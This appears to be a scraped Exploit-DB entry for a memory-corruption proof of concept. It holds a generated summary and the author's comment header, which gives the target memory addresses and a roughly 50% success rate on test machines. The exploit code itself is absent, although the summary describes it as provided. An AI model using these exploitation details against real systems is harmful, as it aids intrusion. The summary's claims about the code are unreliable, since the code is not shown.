Hard to exploit vulnerability

The exploit code provided in the text is a proof of concept for a memory corruption vulnerability. The code attempts to write a pointer to a specific memory location, but due to the limitations of the controlled length, it chooses a different memory address. The code has been tested on multiple systems, with a success rate of only 5 out of 10+. The author mentions that this vulnerability can be avoided, but triggers a segfault instead.
Mitigation:

The mitigation or remediation for this vulnerability is not mentioned in the text.

Exploit-DB raw data:

/*
   Hard to exploit, isn't it? I have tested it on 10+ box, most of them allocated 0x9X0058 for
me, however, I cannot write the pointer to 0x7ffdf020 since the length I can control should be 
divided exactly by 8 (merde), so I choose 0x684191c4. 
   This following program is mostly like a D.O.S. 10+ blackbox were tested, only 5 were owned,
and I think the successful rate should be much lower in real circumstance.
   I mark it as a POC and wish someone (no hat) could supply us a much better exploit. It is 
said that this fault could be steered clear of and another segfault is consequently triggered,
so...

   Any mails are welcome but spam, I need NO viagra. Je suis celibataire.

Greetz:
   All SST guys, I love your bald heads that never hatted.
   Shuo Yang, I love you.
   OYXin, ...
